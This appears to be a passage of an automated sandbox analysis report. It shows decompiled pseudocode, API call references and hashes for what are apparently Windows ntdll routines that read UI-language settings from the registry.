0x6d2628e8
0x6d2628ec
0x6d2628ec
0x6d2626e3
0x6d2626e5
0x00000000
0x00000000
0x6d2626eb
0x6d26270f
0x6d262714
0x6d262717
0x6d2628fc
0x6d2628fe
0x6d2ad352
0x00000000
0x6d2ad368
0x6d2ad368
0x00000000
0x6d2ad368
0x6d2ad352
0x6d262904
0x6d262904
0x6d26290a
0x6d2ad38b
0x6d2ad38f
0x00000000
0x00000000
0x6d2ad39d
0x6d2ad39d
0x6d262910
0x6d26291c
0x6d262920
0x00000000
0x00000000
0x6d262926
0x6d26292c
0x6d262983
0x6d262983
0x6d26292e
0x00000000
0x6d26292e
0x6d26271f
0x6d26286a
0x00000000
0x00000000
0x6d2ad349
0x6d262727
0x6d262738
0x6d262741
0x6d262745
0x00000000
0x00000000
0x00000000
0x6d262745
0x6d262725
0x6d262725
0x00000000
0x6d2ad325
0x6d2ad32a
0x6d2ad331
0x6d2ad33a
0x6d2ad33e
0x00000000
0x00000000
0x00000000
0x6d2ad344
0x6d2626eb
0x6d2626a7
0x6d2626ab
0x6d2626ad
0x6d2626b0
0x6d2626b4
0x6d2ad2cf
0x6d2ad2d8
0x00000000
0x6d2ad2e9
0x6d2ad2f6
0x6d2ad2ff
0x6d2ad302
0x6d2ad307
0x6d2ad30a
0x6d2ad30d
0x6d2ad312
0x6d2ad317
0x6d2ad31b
0x6d2626c4
0x6d2626c7
0x6d26293d
0x6d262943
0x6d26297b
0x6d262945
0x6d262945
0x6d262945
0x6d262949
0x6d26294d
0x6d2626d1
0x6d2626d1
0x6d2626d5
0x00000000
0x00000000
0x00000000
0x6d2626d5
0x00000000
0x6d2626c7
0x6d2ad2d8
0x6d2626ba
0x6d2626ba
0x6d2626bf
0x00000000
0x6d2626bf
0x6d26264e
0x6d262635
0x6d26263b
0x6d2ad25d
0x00000000
0x00000000
0x6d2ad263
0x6d2ad26a
0x6d2ad279
0x6d2ad2b4
0x6d2ad2b4
0x00000000
0x6d2ad2b4
0x6d2ad27b
0x6d2ad282
0x6d2ad28d
0x6d2ad2aa
0x6d2ad2ae
0x00000000
0x00000000
0x00000000
0x6d2ad2ae
0x6d2ad28f
0x6d2ad296
0x6d2ad29d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d26263b
0x6d262624
0x6d2625f6
0x6d262886
0x6d26288d
0x6d262891
0x6d262897
0x6d26289e
0x6d2628a4
0x6d2628ba
0x6d2628be
0x00000000
0x00000000
0x6d2628c4
0x00000000
0x6d2628c4
0x6d2625fc
0x00000000
0x6d2625fc
0x00000000
0x6d262881
0x6d2625de
0x00000000
0x6d2625de
0x6d2ad23c
0x6d2ad23c
0x6d2ad23c
0x00000000
0x6d2ad23c
0x6d26285d
0x6d262590
0x00000000
0x00000000
0x00000000
0x00000000
0x6d262590

APIs

RtlFindCharInUnicodeString.1105(00000001,?,6D2211BC,00000000), ref: 6D2625CF
RtlGetFullPathName_UstrEx.1105(?,?,?,?,00000000,00000000,?,00000000), ref: 6D262697
memset.1105(?,00000000,0000002C), ref: 6D262789
RtlMultiAppendUnicodeStringBuffer.1105(?,00000002,?,00000001,?,6D2211BC,00000000), ref: 6D2628B5
RtlFreeUnicodeString.1105(?,?,?,00000001), ref: 6D262971
RtlDeleteBoundaryDescriptor.1105(00000000), ref: 6D2628E1

Part of subcall function 6D24AD30: RtlFreeHeap.1105(?,00000000,00000001,?,6D2702E9,00000000,?,6D25ECFB,6D3384D8,6D3384D8,6D2917F0,00000000,?,6D26F715,6D26F5C0,?), ref: 6D24AD43

Strings

, xrefs: 6D2624E4
Status != STATUS_SXS_SECTION_NOT_FOUND, xrefs: 6D2AD3CC
minkernel\ntdll\sxsisol.cpp, xrefs: 6D2AD3D6
, xrefs: 6D2624C0
Internal error check failed, xrefs: 6D2AD3DB

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Free$AppendBoundaryBufferCharDeleteDescriptorFindFullHeapMultiName_PathUstrmemset
String ID: $ $Internal error check failed$Status != STATUS_SXS_SECTION_NOT_FOUND$minkernel\ntdll\sxsisol.cpp
API String ID: 3547848382-3393094623
Opcode ID: 38095874da1d683b58fc8cd7231d04bf36a64dc187693e1d976214b969d79187
Instruction ID: 8e7e42dbe24e903f9c4e3d27a2b55f48d73c211ec335fceb288e07f9b7d84459
Opcode Fuzzy Hash: 38095874da1d683b58fc8cd7231d04bf36a64dc187693e1d976214b969d79187
Instruction Fuzzy Hash: AA0270B159D39A8BD331CF14C580BABB7E4BFC9704F14892DE99497250E770D884CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6D2FEDE6, Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 344
nativeCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6D2FEDE6(signed int __ecx, intOrPtr __edx) {
				intOrPtr _v8;
				signed int _v16;
				short _v196;
				char _v696;
				unsigned int _v700;
				intOrPtr _v712;
				char _v716;
				void _v892;
				void _v1068;
				unsigned int _v1072;
				signed int _v1076;
				unsigned int _v1080;
				unsigned int _v1084;
				signed int _v1088;
				intOrPtr _v1092;
				signed int _v1096;
				intOrPtr _v1100;
				signed int _v1104;
				unsigned int _v1108;
				unsigned int _v1112;
				int _v1132;
				void* _v1136;
				short _v1138;
				void* _v1140;
				char _v1144;
				intOrPtr* _v1148;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t141;
				intOrPtr* _t151;
				intOrPtr _t152;
				void* _t153;
				signed int _t155;
				void* _t174;
				intOrPtr _t178;
				intOrPtr _t201;
				signed int _t205;
				void* _t206;
				signed int _t208;
				signed int _t214;
				intOrPtr* _t225;
				signed int _t235;
				void* _t236;
				intOrPtr _t238;
				void* _t239;
				signed short _t240;
				signed int _t241;
				intOrPtr _t242;
				unsigned int _t243;
				signed int _t244;
				intOrPtr* _t245;
				signed int _t249;
				signed int _t251;

				_t229 = __edx;
				_t208 = _t251;
				_push(__ecx);
				_push(__ecx);
				_v8 =  *((intOrPtr*)(_t208 + 4));
				_t249 = (_t251 & 0xffffffe0) + 4;
				_v16 =  *0x6d33d360 ^ _t249;
				_t238 =  *((intOrPtr*)(_t208 + 8));
				_t235 = __ecx;
				_v1148 =  *((intOrPtr*)(_t208 + 0xc));
				_v1092 = __edx;
				_v1132 = 0;
				_v1144 = 0;
				_v1100 = _t238;
				memset( &_v196, 0, 0xaa);
				memset( &_v892, 0, 0xaa);
				memset( &_v1068, 0, 0xaa);
				_v1108 = 0;
				_v1080 = 0;
				_v1076 = 0;
				_v1084 = 0;
				if(_t235 == 0 || _t238 == 0 || _v1092 == 0) {
					_t141 = 0xc000000d;
					goto L55;
				} else {
					_v1104 = 0;
					_v1112 = 0;
					_v1072 = 0;
					_t214 =  *(_t235 + 4) & 0x0000ffff;
					if(_t214 != 0) {
						_t240 =  *(_t235 + 6);
						_v1076 = _t214;
						_v1088 =  *((intOrPtr*)(_t235 + 8));
						L11:
						if( *((intOrPtr*)(_v1100 + 4)) != _t214 || _t240 == 0) {
							L20:
							_t241 = _v1080;
							goto L21;
						} else {
							_v1084 = 0x200;
							_v1136 =  &_v892;
							_v1138 = 0xaa;
							if(E6D253B30(_t240 & 0x0000ffff,  &_v1140) == 0) {
								goto L20;
							}
							_push( &_v1084);
							_push(0x200);
							_push( &_v716);
							_push(1);
							_push( &_v1140);
							_push(_v1092);
							if(E6D289650() < 0) {
								goto L20;
							}
							_push(_t214);
							_t214 = _t235;
							if(E6D2FF2F4(_t214,  &_v716, _v1088,  &_v1068) < 0) {
								goto L20;
							}
							_t214 = _t235;
							if(E6D2FE7FF(_t214, _v1100, 0,  &_v716,  &_v1068) < 0) {
								goto L20;
							}
							_t245 =  &_v892;
							_t214 = _t245 + 2;
							_v1072 = 1;
							do {
								_t201 =  *_t245;
								_t245 = _t245 + 2;
							} while (_t201 != 0);
							_t241 = _t245 - _t214 >> 1;
							_v1080 = _t241;
							L21:
							RtlInitUnicodeString( &_v1140, L"DefaultFallback");
							_v1088 = 1;
							_v1084 = 0xaa;
							_t229 =  &_v1140;
							_push(_t214);
							_t215 = _v1092;
							if(E6D24F018(_v1092,  &_v1140,  &_v1088,  &_v196,  &_v1084) < 0 || _v1088 != 1 || _t241 != 0 && E6D259730(_t215,  &_v196, _v1084 >> 1,  &_v892, _t241, 1) == 0) {
								_t242 = _v1072;
								goto L32;
							} else {
								RtlInitUnicodeString( &_v1140,  &_v196);
								_push( &_v1084);
								_push(0x200);
								_v1084 = 0x200;
								_push( &_v716);
								_push(1);
								_push( &_v1140);
								_push(_v1092);
								_t174 = E6D289650();
								_t242 = _v1072;
								if(_t174 < 0 || _v712 != 7) {
									L32:
									if(_v1104 == 0x8000001a) {
										L51:
										_t151 = _v1148;
										if(_t151 != 0) {
											 *_t151 = _t242;
										}
										_t141 = 0;
										L55:
										_pop(_t236);
										_pop(_t239);
										return E6D28B640(_t141, _t208, _v16 ^ _t249, _t229, _t236, _t239);
									}
									_t152 = _v1112;
									while(_t242 < 4) {
										_push( &_v1144);
										_push(0x200);
										_push( &_v716);
										_push(1);
										_push(_t152);
										_push(_v1092);
										_t153 = E6D289610();
										if(_t153 == 0x8000001a || _t153 < 0) {
											goto L51;
										} else {
											if(_v712 != 7) {
												L50:
												_t152 = _v1112 + 1;
												_v1112 = _t152;
												continue;
											}
											_t243 = _v700;
											if(_t243 > 0x200) {
												L49:
												_t242 = _v1072;
												goto L50;
											}
											_t155 = _v1080;
											if(_v1108 > 0 || _t155 != 0) {
												_t244 = _t243 >> 1;
												_v1104 =  *(_t249 + _t244 * 2 - 0x2ac) & 0x0000ffff;
												 *(_t249 + _t244 * 2 - 0x2ac) = 0;
												_t220 = _v700;
												_v1132 = _v700;
												if(_t155 == 0) {
													L44:
													_t156 = _v1108;
													if(_v1108 == 0 || E6D259730(_t220 >> 1,  &_v696, _t220 >> 1,  &_v196, _t156, 1) != 0) {
														 *(_t249 + _t244 * 2 - 0x2ac) = _v1104;
														goto L47;
													} else {
														goto L49;
													}
												}
												if(E6D259730(_t220,  &_v696, _t220 >> 1,  &_v892, _t155, 1) == 0) {
													goto L49;
												}
												_t220 = _v1132;
												goto L44;
											} else {
												L47:
												_t242 = _v1072;
												_t229 = _v1100;
												if(E6D2FE7FF(_t235, _v1100, _t242,  &_v716, 0) >= 0) {
													_t242 = _t242 + 1;
													_v1072 = _t242;
												}
												goto L50;
											}
										}
									}
									goto L51;
								} else {
									_t229 = _v1100;
									if(E6D2FE7FF(_t235, _v1100, _t242,  &_v716, 0) < 0) {
										goto L32;
									}
									_t242 = _t242 + 1;
									_t225 =  &_v196;
									_v1072 = _t242;
									_t229 = _t225 + 2;
									do {
										_t178 =  *_t225;
										_t225 = _t225 + 2;
									} while (_t178 != _v1132);
									_v1108 = _t225 - _t229 >> 1;
									goto L32;
								}
							}
						}
					}
					_push( &_v1076);
					_t141 = E6D28A980();
					_v1104 = _t141;
					if(_t141 < 0) {
						goto L55;
					} else {
						if(E6D24E620(_t235,  &_v1096,  &_v1088) >= 0) {
							_t240 = _v1096;
							_t205 = _v1088 & 0x0000ffff;
						} else {
							_t240 = 0;
							_t205 = 0;
							_v1088 = 0;
						}
						_v1096 = _t205;
						_t206 = E6D28A4C0();
						_t214 = _v1076;
						if(_t206 >= 0) {
							 *((short*)(_t235 + 8)) = _v1096;
							 *(_t235 + 6) = _t240;
							 *(_t235 + 4) = _t214;
						}
						goto L11;
					}
				}
			}

0x6d2fede6
0x6d2fede9
0x6d2fedeb
0x6d2fedec
0x6d2fedf7
0x6d2fedfb
0x6d2fee0a
0x6d2fee11
0x6d2fee15
0x6d2fee17
0x6d2fee1f
0x6d2fee2a
0x6d2fee32
0x6d2fee3f
0x6d2fee45
0x6d2fee5c
0x6d2fee73
0x6d2fee7f
0x6d2fee85
0x6d2fee8b
0x6d2fee92
0x6d2fee9a
0x6d2ff2da
0x00000000
0x6d2feeb4
0x6d2feeb4
0x6d2feeba
0x6d2feec0
0x6d2feec6
0x6d2feecd
0x6d2fef4a
0x6d2fef4e
0x6d2fef55
0x6d2fef5c
0x6d2fef66
0x6d2ff046
0x6d2ff046
0x00000000
0x6d2fef75
0x6d2fef7b
0x6d2fef85
0x6d2fef90
0x6d2fefa9
0x00000000
0x00000000
0x6d2fefb5
0x6d2fefb6
0x6d2fefc1
0x6d2fefc2
0x6d2fefca
0x6d2fefcb
0x6d2fefd8
0x00000000
0x00000000
0x6d2fefda
0x6d2fefe1
0x6d2feff7
0x00000000
0x00000000
0x6d2ff00c
0x6d2ff019
0x00000000
0x00000000
0x6d2ff01d
0x6d2ff024
0x6d2ff027
0x6d2ff02f
0x6d2ff02f
0x6d2ff032
0x6d2ff035
0x6d2ff03c
0x6d2ff03e
0x6d2ff04c
0x6d2ff058
0x6d2ff062
0x6d2ff06c
0x6d2ff072
0x6d2ff078
0x6d2ff079
0x6d2ff09b
0x6d2ff174
0x00000000
0x6d2ff0d9
0x6d2ff0e7
0x6d2ff0f7
0x6d2ff0f8
0x6d2ff0ff
0x6d2ff105
0x6d2ff106
0x6d2ff10e
0x6d2ff10f
0x6d2ff115
0x6d2ff11a
0x6d2ff122
0x6d2ff17a
0x6d2ff184
0x6d2ff2ca
0x6d2ff2ca
0x6d2ff2d2
0x6d2ff2d4
0x6d2ff2d4
0x6d2ff2d6
0x6d2ff2df
0x6d2ff2e2
0x6d2ff2e5
0x6d2ff2f1
0x6d2ff2f1
0x6d2ff18a
0x6d2ff190
0x6d2ff19f
0x6d2ff1a0
0x6d2ff1ab
0x6d2ff1ac
0x6d2ff1ae
0x6d2ff1af
0x6d2ff1b5
0x6d2ff1bf
0x00000000
0x6d2ff1cd
0x6d2ff1d4
0x6d2ff2b8
0x6d2ff2be
0x6d2ff2bf
0x00000000
0x6d2ff2bf
0x6d2ff1da
0x6d2ff1e6
0x6d2ff2b2
0x6d2ff2b2
0x00000000
0x6d2ff2b2
0x6d2ff1f3
0x6d2ff1f9
0x6d2ff203
0x6d2ff20d
0x6d2ff215
0x6d2ff21d
0x6d2ff223
0x6d2ff22b
0x6d2ff252
0x6d2ff252
0x6d2ff25a
0x6d2ff27f
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2ff25a
0x6d2ff24a
0x00000000
0x00000000
0x6d2ff24c
0x00000000
0x6d2ff287
0x6d2ff287
0x6d2ff287
0x6d2ff28f
0x6d2ff2a7
0x6d2ff2a9
0x6d2ff2aa
0x6d2ff2aa
0x00000000
0x6d2ff2a7
0x6d2ff1f9
0x6d2ff1bf
0x00000000
0x6d2ff12d
0x6d2ff12d
0x6d2ff147
0x00000000
0x00000000
0x6d2ff149
0x6d2ff14a
0x6d2ff150
0x6d2ff156
0x6d2ff159
0x6d2ff159
0x6d2ff15c
0x6d2ff15f
0x6d2ff16c
0x00000000
0x6d2ff16c
0x6d2ff122
0x6d2ff09b
0x6d2fef66
0x6d2feed5
0x6d2feed6
0x6d2feedb
0x6d2feee3
0x00000000
0x6d2feee9
0x6d2feeff
0x6d2fef0e
0x6d2fef15
0x6d2fef01
0x6d2fef01
0x6d2fef03
0x6d2fef05
0x6d2fef05
0x6d2fef1c
0x6d2fef22
0x6d2fef27
0x6d2fef30
0x6d2fef38
0x6d2fef3c
0x6d2fef40
0x6d2fef40
0x00000000
0x6d2fef30
0x6d2feee3

APIs

memset.1105(?,00000000,000000AA,6D3366C0,0000EEEE), ref: 6D2FEE45
memset.1105(?,00000000,000000AA,?,6D3366C0,0000EEEE), ref: 6D2FEE5C
memset.1105(?,00000000,000000AA,?,?,?,?,6D3366C0,0000EEEE), ref: 6D2FEE73
ZwQueryInstallUILanguage.1105(?,?,?,?,?,?,?,?,6D3366C0,0000EEEE), ref: 6D2FEED6

Part of subcall function 6D24E620: memset.1105(00000000,00000000,00000158,0000EEEE,?), ref: 6D24E673
Part of subcall function 6D24E620: RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\NLS\Language,0000EEEE,?,?,?,?,?,?,?,?,?,?,?,?,6D2FEEFD), ref: 6D24E692
Part of subcall function 6D24E620: ZwOpenKey.1105(?,?,?,?,00020019,00000018), ref: 6D24E6D0
Part of subcall function 6D24E620: RtlInitUnicodeString.1105(?,InstallLanguageFallback,?,?,?,?,00020019,00000018), ref: 6D24E6E5
Part of subcall function 6D24E620: ZwClose.1105(00000000,?,?,?,?,00020019,00000018), ref: 6D24E720
Part of subcall function 6D24E620: RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,00020019,00000018), ref: 6D24E736

ZwIsUILanguageComitted.1105(?,?,?,?,?,?,?,?,?,6D3366C0,0000EEEE), ref: 6D2FEF22
RtlLCIDToCultureName.1105(?,?,?,?,?,?,?,?,?,6D3366C0,0000EEEE), ref: 6D2FEFA2
ZwQueryValueKey.1105(?,?,00000001,?,00000200,00000200,?,?,?,?,?,?,?,?,?,6D3366C0), ref: 6D2FEFD1
RtlInitUnicodeString.1105(?,DefaultFallback,?,?,?,?,?,?,?,6D3366C0,0000EEEE), ref: 6D2FF058
RtlCompareUnicodeStrings.1105(?,?,?,?,00000001,00000001,?,?,?,?,DefaultFallback), ref: 6D2FF0CC
RtlInitUnicodeString.1105(?,?,00000001,?,?,?,?,DefaultFallback,?,?,?,?,?,?,?,6D3366C0), ref: 6D2FF0E7
ZwQueryValueKey.1105(?,?,00000001,?,00000200,?,?,?,00000001,?,?,?,?,DefaultFallback), ref: 6D2FF115
ZwEnumerateValueKey.1105(?,?,00000001,?,00000200,?,00000001,?,?,?,?,DefaultFallback), ref: 6D2FF1B5
RtlCompareUnicodeStrings.1105(?,?,?,?,00000001,?,?,00000001,?,00000200,?,?,?,00000001,?,00000200), ref: 6D2FF243
RtlCompareUnicodeStrings.1105(?,?,?,00000000,00000001,?,?,00000001,?,00000200,?,?,?,00000001,?,00000200), ref: 6D2FF270

Strings

DefaultFallback, xrefs: 6D2FF04C

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$InitStringmemset$CompareQueryStringsValue$Language$CloseComittedCultureEnumerateFreeHeapInstallNameOpen
String ID: DefaultFallback
API String ID: 350220673-3328677554
Opcode ID: cd33c13cb0c697c4c70ab25ce06a665f31e147faf37e8d8b1c912cb18587a4c7
Instruction ID: 22dfe341e3238ceda6f1eba81fdbf9a07c8ab1e42b7104e1641e7355641a6cef
Opcode Fuzzy Hash: cd33c13cb0c697c4c70ab25ce06a665f31e147faf37e8d8b1c912cb18587a4c7
Instruction Fuzzy Hash: BFD1F1B5A9522D9ADB25CB54CC84BEAF3B8EF44304F4045E9EA0DE3241E7309E85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 6D24DCA4, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 242
nativeCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6D24DCA4(signed int* __ecx) {
				intOrPtr _v8;
				signed int _v16;
				short _v540;
				unsigned int _v544;
				char _v556;
				signed int _v560;
				signed int _v564;
				signed char _v568;
				char _v572;
				signed int _v576;
				void* _v584;
				signed int _v588;
				signed int _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				signed int _v604;
				char _v608;
				char _v612;
				char _v616;
				char _v620;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t80;
				signed int _t84;
				signed int _t86;
				signed int _t93;
				char _t108;
				signed char _t121;
				signed int _t130;
				unsigned int _t138;
				signed int _t142;
				signed char _t143;
				signed int _t149;
				signed int _t152;
				void* _t153;
				signed int _t154;
				signed int* _t156;
				void* _t157;
				signed int _t160;
				signed int _t162;

				_t134 = __ecx;
				_t133 = _t162;
				_push(__ecx);
				_push(__ecx);
				_v8 =  *((intOrPtr*)(_t162 + 4));
				_t160 = (_t162 & 0xffffffe0) + 4;
				_v16 =  *0x6d33d360 ^ _t160;
				_t156 = __ecx;
				_v564 = 0;
				_t152 = 0;
				_v560 = 0;
				_v612 = 0;
				_v568 = 0;
				_v572 = 0xffffffff;
				if(__ecx == 0) {
					_t80 = 0xc000000d;
					L30:
					_pop(_t153);
					_pop(_t157);
					return E6D28B640(_t80, _t133, _v16 ^ _t160, _t146, _t153, _t157);
				}
				if(E6D28A4C0() < 0) {
					L6:
					E6D24E8B0(_t134, _t156, 0x3ff);
					_t84 = E6D24DBB1(_t134);
					_t156[5] = _t84;
					if(_t84 == 0) {
						_t152 = 0xc0000017;
						L33:
						E6D24E8B0(_t134, _t156, 0x3ff);
						L29:
						_t80 = _t152;
						goto L30;
					}
					 *_t156 =  *_t156 | 0x00000001;
					_t86 = E6D24DBF1(_t134, _t146);
					_t156[6] = _t86;
					if(_t86 == 0) {
						goto L33;
					}
					 *_t156 =  *_t156 | 0x00000002;
					RtlInitUnicodeString( &_v584, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\UILanguages");
					_v608 = 0x18;
					_v600 =  &_v584;
					_t154 = 0;
					_v564 = 0;
					_push( &_v608);
					_push(0x20019);
					_v604 = 0;
					_push( &_v564);
					_v596 = 0x40;
					_v592 = 0;
					_v588 = 0;
					if(E6D289600() < 0) {
						L28:
						_t134 = _t156;
						_t152 = E6D24E009(_t156);
						if(_t152 < 0) {
							goto L33;
						}
						goto L29;
					}
					_t93 = 0;
					_v576 = 0;
					while(1) {
						_push( &_v612);
						_push(0x200);
						_t134 =  &_v556;
						_push( &_v556);
						_push(_t154);
						_push(_t93);
						_push(_v564);
						_t152 = E6D289820();
						if(_t152 < 0) {
							goto L32;
						}
						_t138 = _v544;
						if(_t138 + 0x18 > 0x200) {
							L23:
							if(_v560 != 0) {
								_push(_v560);
								E6D2895D0();
								_v560 = _v560 & 0x00000000;
							}
							_t93 = _v576 + 1;
							_v576 = _t93;
							if(_t152 != 0x8000001a) {
								_t154 = 0;
								continue;
							} else {
								if(_v564 != 0) {
									_push(_v564);
									E6D2895D0();
									_v564 = _v564 & 0x00000000;
								}
								goto L28;
							}
						}
						 *((short*)(_t160 + (_t138 >> 1) * 2 - 0x210)) = 0;
						RtlInitUnicodeString( &_v584,  &_v540);
						_v604 = _v564;
						_v600 =  &_v584;
						_push( &_v608);
						_push(0x20019);
						_v560 = 0;
						_push( &_v560);
						_v608 = 0x18;
						_v596 = 0x40;
						_v592 = 0;
						_v588 = 0;
						if(E6D289600() < 0) {
							goto L23;
						}
						RtlInitUnicodeString( &_v584, L"Type");
						_t108 = 4;
						_v620 = _t108;
						_t146 =  &_v584;
						_v616 = _t108;
						_push(0);
						if(E6D24F018(_v560,  &_v584,  &_v620,  &_v568,  &_v616) < 0) {
							goto L23;
						}
						_t142 = _v568;
						if(E6D24DC63(_t142) < 0) {
							goto L23;
						}
						_t143 = _t142 & 0x0000419f;
						_v568 = _t143;
						_t146 = _t143 & 0x00000007;
						if(_t146 != 0 && ( ~_t146 & _t146) == _t146) {
							_t149 = _t143 & 0x00000180;
							if(_t149 == 0 || ( ~_t149 & _t149) != _t149) {
								_t143 = _t143 & 0xfffffeff | 0x00000080;
								_v568 = _t143;
							}
							_t146 = _t143 & 0x00000018;
							if(_t146 != 0 && ( ~_t146 & _t146) == _t146) {
								_t121 = _t143;
								if((_t121 & 0x00000008) != 0) {
									if((_t121 & 0x00000004) == 0) {
										goto L23;
									}
								}
								_t146 = _v560;
								E6D24E375(_t156, _v560,  &_v540, _t143, _t143,  &_v572);
							}
						}
						goto L23;
						L32:
						if(_t152 == 0x8000001a) {
							goto L23;
						}
						goto L33;
					}
				}
				_t9 =  &(_t156[1]); // 0xeef2
				_t152 = E6D28A980();
				if(_t152 < 0) {
					goto L33;
				}
				_t130 = __ecx[1] & 0x0000ffff;
				_t134 = 0x1000;
				if(_t130 == 0x1000) {
					goto L33;
				}
				_t134 = 0x1400;
				if(_t130 == 0x1400) {
					goto L33;
				}
				_t11 =  &(_t156[2]); // 0xeef6
				_t134 = __ecx;
				_t12 =  &(_t156[1]); // 0xeef4
				_t146 = _t12;
				E6D24E620(__ecx, _t146, _t11);
				goto L6;
			}

0x6d24dca4
0x6d24dca7
0x6d24dca9
0x6d24dcaa
0x6d24dcb5
0x6d24dcb9
0x6d24dcc8
0x6d24dccf
0x6d24dcd1
0x6d24dcd7
0x6d24dcd9
0x6d24dcdf
0x6d24dce5
0x6d24dcee
0x6d24dcf7
0x6d2a4fbf
0x6d24dfd8
0x6d24dfdb
0x6d24dfde
0x6d24dfea
0x6d24dfea
0x6d24dd04
0x6d24dd47
0x6d24dd4d
0x6d24dd52
0x6d24dd57
0x6d24dd5c
0x6d2a4fc9
0x6d24dffc
0x6d24e002
0x6d24dfd6
0x6d24dfd6
0x00000000
0x6d24dfd6
0x6d24dd62
0x6d24dd6a
0x6d24dd6f
0x6d24dd74
0x00000000
0x00000000
0x6d24dd7a
0x6d24dd89
0x6d24dd94
0x6d24dd9e
0x6d24dda4
0x6d24ddac
0x6d24ddb2
0x6d24ddb3
0x6d24ddbe
0x6d24ddc4
0x6d24ddc5
0x6d24ddcf
0x6d24ddd5
0x6d24dde2
0x6d24dfc9
0x6d24dfc9
0x6d24dfd0
0x6d24dfd4
0x00000000
0x00000000
0x00000000
0x6d24dfd4
0x6d24dde8
0x6d24ddea
0x6d24ddf0
0x6d24ddf6
0x6d24ddf7
0x6d24ddfc
0x6d24de02
0x6d24de03
0x6d24de04
0x6d24de05
0x6d24de10
0x6d24de14
0x00000000
0x00000000
0x6d24de1a
0x6d24de28
0x6d24df7e
0x6d24df85
0x6d24df87
0x6d24df8d
0x6d24df92
0x6d24df92
0x6d24df9f
0x6d24dfa0
0x6d24dfac
0x6d24dfed
0x00000000
0x6d24dfae
0x6d24dfb5
0x6d24dfb7
0x6d24dfbd
0x6d24dfc2
0x6d24dfc2
0x00000000
0x6d24dfb5
0x6d24dfac
0x6d24de32
0x6d24de48
0x6d24de55
0x6d24de61
0x6d24de6d
0x6d24de6e
0x6d24de79
0x6d24de7f
0x6d24de80
0x6d24de8a
0x6d24de94
0x6d24de9a
0x6d24dea7
0x00000000
0x00000000
0x6d24deb9
0x6d24dec0
0x6d24dec1
0x6d24dec7
0x6d24decd
0x6d24ded9
0x6d24def6
0x00000000
0x00000000
0x6d24defc
0x6d24df09
0x00000000
0x00000000
0x6d24df0b
0x6d24df13
0x6d24df19
0x6d24df1c
0x6d24df2a
0x6d24df30
0x6d2a4fd9
0x6d2a4fdf
0x6d2a4fdf
0x6d24df48
0x6d24df4b
0x6d24df57
0x6d24df5b
0x6d2a4fec
0x00000000
0x00000000
0x6d2a4ff2
0x6d24df61
0x6d24df79
0x6d24df79
0x6d24df4b
0x00000000
0x6d24dff4
0x6d24dffa
0x00000000
0x00000000
0x00000000
0x6d24dffa
0x6d24ddf0
0x6d24dd06
0x6d24dd0f
0x6d24dd13
0x00000000
0x00000000
0x6d24dd19
0x6d24dd1d
0x6d24dd25
0x00000000
0x00000000
0x6d24dd2b
0x6d24dd33
0x00000000
0x00000000
0x6d24dd39
0x6d24dd3c
0x6d24dd3f
0x6d24dd3f
0x6d24dd42
0x00000000

APIs

ZwIsUILanguageComitted.1105(6D3366C0,0000EEEE), ref: 6D24DCFD
ZwQueryInstallUILanguage.1105(0000EEF2,6D3366C0,0000EEEE), ref: 6D24DD0A
RtlpMuiRegFreeRegistryInfo.1105(0000EEEE,000003FF,6D3366C0,0000EEEE), ref: 6D24DD4D
RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages,0000EEEE,000003FF,6D3366C0,0000EEEE), ref: 6D24DD89
ZwOpenKey.1105(?,00020019,00000018,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages,0000EEEE,000003FF,6D3366C0,0000EEEE), ref: 6D24DDDB
ZwEnumerateKey.1105(?,00000000,00000000,?,00000200,?,?,00020019,00000018,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages,0000EEEE,000003FF,6D3366C0,0000EEEE), ref: 6D24DE0B
RtlInitUnicodeString.1105(?,?,?,?,00000000,?,00000200,?,?,00000000,00000000,?,00000200,?,?,00020019), ref: 6D24DE48
ZwOpenKey.1105(00000000,00020019,00000018,?,?,?,?,00000000,?,00000200,?,?,00000000,00000000,?,00000200), ref: 6D24DEA0
RtlInitUnicodeString.1105(?,Type,00000000,00020019,00000018,?,?,?,?,00000000,?,00000200,?,?,00000000,00000000), ref: 6D24DEB9
RtlpMuiRegFreeRegistryInfo.1105(0000EEEE,000003FF,0000EEEE,000003FF,6D3366C0,0000EEEE), ref: 6D24E002

Part of subcall function 6D24E620: memset.1105(00000000,00000000,00000158,0000EEEE,?), ref: 6D24E673
Part of subcall function 6D24E620: RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\NLS\Language,0000EEEE,?,?,?,?,?,?,?,?,?,?,?,?,6D2FEEFD), ref: 6D24E692
Part of subcall function 6D24E620: ZwOpenKey.1105(?,?,?,?,00020019,00000018), ref: 6D24E6D0
